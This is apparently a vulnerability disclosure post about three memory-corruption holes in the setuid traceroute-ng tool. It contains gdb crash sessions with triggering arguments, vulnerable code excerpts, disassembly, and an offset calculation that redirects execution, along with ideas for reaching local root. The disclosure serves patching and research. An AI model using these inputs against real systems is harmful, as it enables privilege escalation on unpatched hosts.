TracerouteNG - never ending story

Hi everyone,

I want to provide some additional information about the recently
discovered traceroute-ng flaw. I decided to disclose to details right
now because I do not believe that the flaw is easily exploitable.

1) The vulnerablilty.

The patch provided by vendors like SuSE is not sufficient. It only
closed one of at least 3 different holes.

Hole #1 : (closed in the recent patch)

(gdb) r -P -q 1 -n $(perl -e 'print"0"x13000')127.0.0.1
Starting program: /usr/sbin/traceroute -P -q 1 -n $(perl -e
'print"0"x13000')127.0.0.1
(no debugging symbols found)…(no debugging symbols found)…(no
debugging symbols found)…(no debugging symbols found)…
Program received signal SIGSEGV, Segmentation fault.
0x400d9634 in strcpy () from /lib/libc.so.6

This is caused by insufficient length checking in the hostname buffer
copied from the command line. The buffer is global static so it is
located in .bss. The vulnerable code is:

#ifdef VMS_CLD
av[0] = hostname;
#endif
to->sin_addr.s_addr = inet_addr(av[0]);
if ((int)to->sin_addr.s_addr != -1) {
(void) strcpy(hnamebuf, av[0]);
hostname = hnamebuf;
} else {

Hole #2 :

(gdb) r -P -q 1 -n -S -999999 -m 0 localhost
Starting program: /usr/sbin/traceroute -P -q 1 -n -S -999999 -m 0 localhost
traceroute to localhost (127.0.0.1), 0 hops max, 40 byte packets
(no debugging symbols found)…(no debugging symbols found)…(no
debugging symbols found)…(no debugging symbols found)…(no debugging
symbols found)…
Program received signal SIGSEGV, Segmentation fault.
0x08049f3c in strcpy ()

This comes from an array index overflow in the following code:

/*

• Enter Spray mode
  */
  spray_target = spray_max = spray_total = 0;
  spray_min = SPRAYMAX+1;

  /* For all TTL do */
  for (ttl = min_ttl; ttl <= max_ttl; ++ttl) {
  spray_rtn[ttl]=0;
  for (probe = 0; probe < nprobes; ++probe) {
  send_probe(++seq, ttl);
  }
  }

Obviously we can write an (int)0 at any 4 bytes aligned memory location!
Furthermore, due to a malloc() just right bevore this code (it is not
clear where it comes from in the binary - maybe gcc optimization?) we
can write the address returned by malloc at any 4bytes alignet memory
location as can be seen from the disassembly:

0x8049f2f <strcpy+4411>: call 0x8048c54 <malloc>
0x8049f34 <strcpy+4416>: mov %eax,%edx
0x8049f36 <strcpy+4418>: mov 0xffffffb0(%ebp),%eax
0x8049f39 <strcpy+4421>: shl $0x2,%eax
0x8049f3c <strcpy+4424>: mov %edx,0x8052880(%eax) <---- malloc
write
0x8049f42 <strcpy+4430>: mov 0xffffffb0(%ebp),%esi
0x8049f45 <strcpy+4433>: xor %edi,%edi
0x8049f47 <strcpy+4435>: add $0x10,%esp
0x8049f4a <strcpy+4438>: inc %esi
0x8049f4b <strcpy+4439>: mov %eax,%ebx
0x8049f4d <strcpy+4441>: cmp 0x804d4cc,%edi
0x8049f53 <strcpy+4447>: jge 0x8049f81 <strcpy+4493>
0x8049f55 <strcpy+4449>: mov 0x8052880(%ebx),%eax
0x8049f5b <strcpy+4455>: movl $0x0,(%eax,%edi,4) <---- 0 write

For example, by carefully manipulating the -m and -S arguments, we can
jump into the memory allocated by malloc():
(gdb) bt
#0 0x08049f53 in strcpy ()
#1 0x40182bd8 in DTOR_END () from /lib/libc.so.6
#2 0x4007d9ed in __libc_start_main () from /lib/libc.so.6

location of 0x4007d9ed :

(gdb) x/32xw 0xbffff280
0xbffff280: 0x0804dacc 0x0804dbac 0xbffff2a8 0x4009133b
0xbffff290: 0x40182bd8 0x4000bcd0 0xbffff2b8 0xbffff2d8
0xbffff2a0: 0x4007d9ed 0x0000000a 0xbffff304 0xbffff330
0xbffff2b0: 0x0804baa0 0x00000000 0xbffff2d8 0x4007d9bd

printf " %d " $(( (0xbffff2a0 - 0x8052880)/4 ))
-302075256

(gdb) r -P -q 1 -n -S -302075256 -m -302075256 localhost
Starting program: /usr/sbin/traceroute -P -q 1 -n -S -302075256 -m
-302075256 localhost
traceroute to localhost (127.0.0.1), -302075256 hops max, 40 byte packets
(no debugging symbols found)…(no debugging symbols found)…(no
debugging symbols found)…(no debugging symbols found)…(no debugging
symbols found)…
Program received signal SIGSEGV, Segmentation fault.
0x08053228 in ?? ()

(gdb) bt
#0 0x08053228 in ?? ()
(gdb) disass $eip $eip+16
Dump of assembler code from 0x8053228 to 0x8053238:
0x8053228: add %al,(%eax)
0x805322a: add %al,(%eax)
0x805322c: enter $0x1803,$0x40
0x8053230: add %al,(%eax)
0x8053232: add %al,(%eax)
0x8053234: cmp %eax,(%eax)
0x8053236: add %al,(%eax)
End of assembler dump.

LOL :-)

Hole #3:

Just run with the following arguments:

(gdb) r -P -q 999 -n localhost
Starting program: /usr/sbin/traceroute -P -q 999 -n localhost
traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets
(no debugging symbols found)…(no debugging symbols found)…(no
debugging symbols found)…(no debugging symbols found)…(no debugging
symbols found)…
Program received signal SIGSEGV, Segmentation fault.
0x0804a765 in strcpy ()
(gdb)

This time the vulnerable code is:

  for (probe = 0; probe < nprobes; ++probe) {
     send_probe(++seq, ttl);
  }

together with:

send_probe(seq, ttl)
int ttl;
int seq;
{
…
#ifdef SPRAY
if (spray_mode) {
spray[seq].dport = up->uh_dport;
spray[seq].ttl = ttl;
bcopy(&op->tv, &spray[seq].out, sizeof(struct timeval));
}
#endif

So one can overwrite consecutive memory blocks of type

struct {
u_long dport; /* check for matching dport /
u_char ttl; / ttl we sent it to /
u_char type; / icmp response type /
struct timeval out; / time packet left /
struct timeval rtn; / time packet arrived /
struct sockaddr_in from; / whom from */
} spray

starting at the address of 'spray' (which is again located in the heap)
with the values stored in out, dport, ttl. So far I looked at this,
nothing really sensefull can be overwritten this way. Two candidates are:

[a] the socket descriptor s, which is later used by FD_SET (instant
memory writer… :-) - (un)fortunately the system time is stored in s by
overflowing the spray array :-)

[b] malloc structures on the heap?

Summary

The are still vulnerabilities in the traceroute-ng package which may
lead to a local root compromise, depending on the actual OS running on.
I was unable to find an easy way of exploitaion on a SuSE 8.0, but it
doesn't mean such one doesn't exist. A potential exploit must either:

[a] change the flow of execution just writing N (int) zeros to adjacent
memory cells (self modifying code? find movl something, %eax, write
zeros after that … until something helpfull is reached? - not
possible on systems with nonwritable code pages)

[b] or be able to controll the memory returned by an malloc() call

[c] change the flow of execution by writing the spray type data (with
the partially controlable content) into adjacent cells

None of them seems very practicable on an x86. Other architectures may
present another behaviour. More research must be done on this flaw.

Anyway, in my opinion the code of traceroute-ng breaks with many
fundamental secure coding practices, it is hard to believe that such
crap has been included on major distributions carrying the suid bit.

with kind regards

/ih